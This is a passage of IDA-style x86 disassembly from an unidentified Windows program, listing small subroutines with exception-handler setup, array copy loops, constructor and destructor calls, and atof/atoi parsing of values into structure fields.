; ---------------------------------------------------------------------------


loc_13B5012:				; CODE XREF: sub_13B4FE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_13B4FE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5030	proc near		; CODE XREF: sub_13AC576j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_13B5057
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_13B5046:				; CODE XREF: sub_13B5030+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_13AC521
		add	esi, 4
		dec	edi
		jnz	short loc_13B5046
		pop	esi
		pop	ebx


loc_13B5057:				; CODE XREF: sub_13B5030+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_13B5030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5070	proc near		; CODE XREF: sub_13AC1CFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AB8CE
		add	esp, 8
		retn	8
sub_13B5070	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B50A0	proc near		; CODE XREF: sub_13AC521j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AC1E8
		add	esp, 8
		retn	8
sub_13B50A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B50D0	proc near		; CODE XREF: sub_13AC26Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_13B50ED
		mov	edx, [esp+arg_8]
		push	esi


loc_13B50E1:				; CODE XREF: sub_13B50D0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_13B50E1
		pop	esi

locret_13B50ED:				; CODE XREF: sub_13B50D0+Aj
		retn
sub_13B50D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5100	proc near		; CODE XREF: sub_13AC4AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_13B5122
		mov	eax, [esp+arg_8]
		push	esi


loc_13B5111:				; CODE XREF: sub_13B5100+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_13B5111
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13B5122:				; CODE XREF: sub_13B5100+Aj
		mov	eax, [esp+arg_8]
		retn
sub_13B5100	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5160	proc near		; CODE XREF: sub_13AB8CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_13B516A
		xor	eax, eax


loc_13B516A:				; CODE XREF: sub_13B5160+6j
		shl	eax, 2
		push	eax
		call	near ptr 13E0C1Ah
		add	esp, 4
		retn
sub_13B5160	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5190	proc near		; CODE XREF: sub_13AC1E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_13AB5CC
		add	esp, 8
		test	eax, eax
		jz	short locret_13B51AB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_13B51AB:				; CODE XREF: sub_13B5190+11j
		retn
sub_13B5190	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B51C0	proc near		; CODE XREF: sub_13AC26Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	dword_43E014
		retn
sub_13B51C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B51E0	proc near		; CODE XREF: sub_13ABB17j sub_13AC427j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC431
		test	[esp+4+arg_0], 1
		jz	short loc_13B51F8
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B51F8:				; CODE XREF: sub_13B51E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13B51E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13B5210	proc near		; CODE XREF: sub_13AC431j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_13B5210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	dword_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_13ABB44
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_13B5210	endp

; ---------------------------------------------------------------------------
		mov	eax, 40AE41h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5280	proc near		; CODE XREF: sub_13AB8BAj
		call	sub_13ABB08
		jmp	sub_13ABBB2
sub_13B5280	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B52A0	proc near		; CODE XREF: sub_13ABF18j
		call	sub_13ABA1D
		jmp	sub_13ABBC1
sub_13B52A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B52C0	proc near		; CODE XREF: sub_13AB7D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	40141Fh
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_13AB63A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_13B52E2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13B52E2:				; CODE XREF: sub_13B52C0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_13B52C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_13B5300:				; CODE XREF: .idata:013AB5C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_13B5327
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_13ABB5D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13B5327:				; CODE XREF: .idata:013B5309j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5340	proc near		; CODE XREF: sub_13ABB44j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_13B535C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_13ABB58
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_13B535C:				; CODE XREF: sub_13B5340+8j
		pop	esi
		retn
sub_13B5340	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5370	proc near		; CODE XREF: sub_13AB5F4j
		mov	eax, [ecx+0Ch]
		retn
sub_13B5370	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13B5390	proc near		; CODE XREF: sub_13AB81Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_13B5390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_13B5390	endp

; ---------------------------------------------------------------------------
		mov	eax, 40AFBEh
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5400	proc near		; CODE XREF: sub_13AB428j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_13B5442
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_13AC58F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_13AB450
		add	esp, 18h


loc_13B5442:				; CODE XREF: sub_13B5400+Bj
		pop	esi
		add	esp, 8
		retn
sub_13B5400	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5470	proc near		; CODE XREF: sub_13AC1CAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_13B5492
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_13AB450
		add	esp, 0Ch


loc_13B5492:				; CODE XREF: sub_13B5470+6j
		pop	ecx
		retn
sub_13B5470	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B54B0	proc near		; CODE XREF: sub_13ABDF1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438B3Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_13AB5B3
		lea	ecx, [esi+4]
		call	sub_13ABB49
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_13ABB49
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_13ABB49
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_13ABFF4
		mov	ecx, edi
		mov	[esp+20h+var_8], 3
		mov	dword ptr [esi], offset	dword_43E020
		call	sub_13ABFEF
		mov	ecx, [esp+20h+var_10]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_13B54B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5570	proc near		; CODE XREF: sub_13ABEE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438B8Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	dword_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_13ABFEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_13AB955
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_13AB423
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_13AB423
		lea	ecx, [esi+4]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+18h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13B5570	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5610	proc near		; CODE XREF: sub_13ABBEEj

var_54		= byte ptr -54h
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438BC8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_13ABFEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+4Ch+var_48]
		mov	[esp+4Ch+var_10], 0FFFFFFFFh
		call	sub_13AB626
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+6Ch+var_48]
		push	3
		push	edx
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+50h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+58h+var_54]
		mov	[esp+58h+var_1C], 0FFFFFFFFh
		call	sub_13AB626
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+78h+var_3C]
		push	3
		push	ecx
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+5Ch+var_1C], 2
		call	sub_13ABBE4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		mov	[esp+64h+var_28], 0FFFFFFFFh
		lea	ecx, [esp+64h+var_48]
		call	sub_13AB626
		mov	ecx, [esp+64h+var_30]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13B5610	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5790	proc near		; CODE XREF: sub_13ABC0Cj

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_13AC3BE
		mov	eax, [esp+0Ch]
		mov	edx, [esp+0Ch+arg_8]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_13AC3BE
		mov	ecx, [esp+10h+var_4]
		mov	dl, byte ptr [esp+10h+arg_8]
		mov	edi, [esp+10h+arg_0]
		mov	[ecx+48h], dl
		mov	eax, [esp+10h+var_4]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_13AC332
		mov	ecx, [esp+18h+var_C]
		mov	dl, byte ptr [esp+18h+arg_4]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+1Ch+var_C]
		mov	ecx, [esp+1Ch+arg_8]
		mov	[eax+5], ecx
		mov	ecx, [esp+1Ch+var_C]
		call	sub_13AC3BE
		lea	edx, [esp+1Ch+var_10]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_13ABD06
		pop	edi
		pop	esi
		retn	1Ch
sub_13B5790	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5830	proc near		; CODE XREF: sub_13ABF5Ej

var_7C		= byte ptr -7Ch
var_64		= byte ptr -64h
var_5C		= byte ptr -5Ch
var_4C		= byte ptr -4Ch
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0FFFFFFFFh
		push	438BF8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_13ABC61
		mov	edi, eax
		mov	ecx, [esp+64h+arg_4]
		mov	[esp+64h+var_8], 0
		push	ecx
		lea	ecx, [esp+68h+var_40]
		call	sub_13ABC61
		mov	ebp, eax
		mov	edx, [esp+68h]
		lea	ecx, [esp+68h+var_5C]
		push	edx
		mov	[esp+6Ch+var_C], 1
		call	sub_13ABC61
		mov	ecx, [esp+6Ch+arg_C]
		mov	edx, [esp+6Ch+arg_8]
		push	ecx
		mov	ecx, [esp+70h+arg_4]
		push	edx
		mov	edx, [esp+74h+var_8]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	[esp+88h+var_10], 2
		call	sub_13ABC0C
		lea	ecx, [esp+88h+var_7C]
		mov	byte ptr [esp+88h+var_2C], 1
		call	sub_13AB626
		lea	ecx, [esp+88h+var_64]
		mov	byte ptr [esp+88h+var_2C], 0
		call	sub_13AB626
		lea	ecx, [esp+88h+var_4C]
		mov	[esp+88h+var_2C], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+88h+var_34]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
sub_13B5830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5920	proc near		; CODE XREF: sub_13ABDCEj

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_13AB93C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_13AB851
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_8]
		mov	[esp+14h+var_C], ecx
		push	edx
		mov	ecx, esi
		call	sub_13AC071
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		call	sub_13AB76B
		test	al, al
		jz	short loc_13B59A1
		mov	edi, [esp+1Ch+var_8]


loc_13B5966:				; CODE XREF: sub_13B5920+7Fj
		push	edi
		lea	ecx, [esp+20h+var_14]
		call	sub_13AC35A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_13AC5AD
		test	eax, eax
		lea	ecx, [esp+20h+var_18]
		jz	short loc_13B59AB
		call	sub_13AB73E
		lea	eax, [esp+20h+var_14]
		mov	ecx, esi
		push	eax
		call	sub_13AC071
		push	eax
		lea	ecx, [esp+28h+var_1C]
		call	sub_13AB76B
		test	al, al
		jnz	short loc_13B5966


loc_13B59A1:				; CODE XREF: sub_13B5920+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_13B59AB:				; CODE XREF: sub_13B5920+60j
		call	sub_13AC35A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_13B5920	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B59F0	proc near		; CODE XREF: sub_13AB856j

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	438C18h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+24h+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+2Ch+var_24]
		call	sub_13ABC61
		mov	ecx, [esp+2Ch+arg_0]
		mov	[esp+2Ch+var_8], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_13ABDCE
		lea	ecx, [esp+34h+var_30]
		mov	esi, eax
		mov	[esp+34h+var_10], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_18]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
sub_13B59F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5A80	proc near		; CODE XREF: sub_13AB996j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AB9D7
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		call	atof	; atof
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset dword_443964
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13B5AD1
		mov	byte ptr [esi+19h], 1


loc_13B5AD1:				; CODE XREF: sub_13B5A80+4Bj
		pop	esi
		retn	8
sub_13B5A80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5B00	proc near		; CODE XREF: sub_13AC332j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_13AB9D7
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		call	atof	; atof
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset dword_443964
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13B5B55
		mov	byte ptr [esi+19h], 1


loc_13B5B55:				; CODE XREF: sub_13B5B00+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_13B5B00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5B90	proc near		; CODE XREF: sub_13AC143j

var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		fld	[esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		sub	esp, 8
		fstp	[esp+0Ch+var_C]
		push	offset dword_44396C
		push	esi
		call	sub_13AB42D
		mov	eax, [esp+14h+arg_4]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		fld	[esp+8+arg_4]
		fcomp	ds:flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_13B5BE1
		mov	byte ptr [esi+19h], 1


loc_13B5BE1:				; CODE XREF: sub_13B5B90+4Bj
		pop	esi
		retn	8
sub_13B5B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5C10	proc near		; CODE XREF: sub_13AC094j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		mov	bl, [esp+4+arg_4]
		test	bl, bl
		push	esi
		jz	short loc_13B5C40
		mov	esi, [esp+8+arg_0]
		push	offset dword_443964
		mov	ecx, esi
		call	sub_13AB9D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_13B5C40:				; CODE XREF: sub_13B5C10+8j
		mov	esi, [esp+8+arg_0]
		push	offset dword_443970
		mov	ecx, esi
		call	sub_13AB9D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
sub_13B5C10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5C80	proc near		; CODE XREF: sub_13AC16Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_13AB42D
		fild	[esp+14h+arg_4]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_13B5CB0
		mov	byte ptr [esi+19h], 1


loc_13B5CB0:				; CODE XREF: sub_13B5C80+2Aj
		pop	edi
		pop	esi
		retn	8
sub_13B5C80	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrrrDb	db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B5CD0	proc near		; CODE XREF: sub_13ABECDj

var_90		= byte ptr -90h
var_7C		= byte ptr -7Ch
var_74		= byte ptr -74h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_48		= byte ptr -48h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	438C50h
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+64h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13B5E12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	4439BCh
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+7Ch+var_10]
		call	sub_13AB93C
		add	ebp, 8Eh
		lea	edx, [esp+7Ch+var_6C]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_13AB851
		mov	eax, [eax]
		lea	ecx, [esp+80h+var_70]
		push	ecx
		mov	ecx, ebp
		mov	[esp+84h+var_14], eax
		call	sub_13AC071
		push	eax
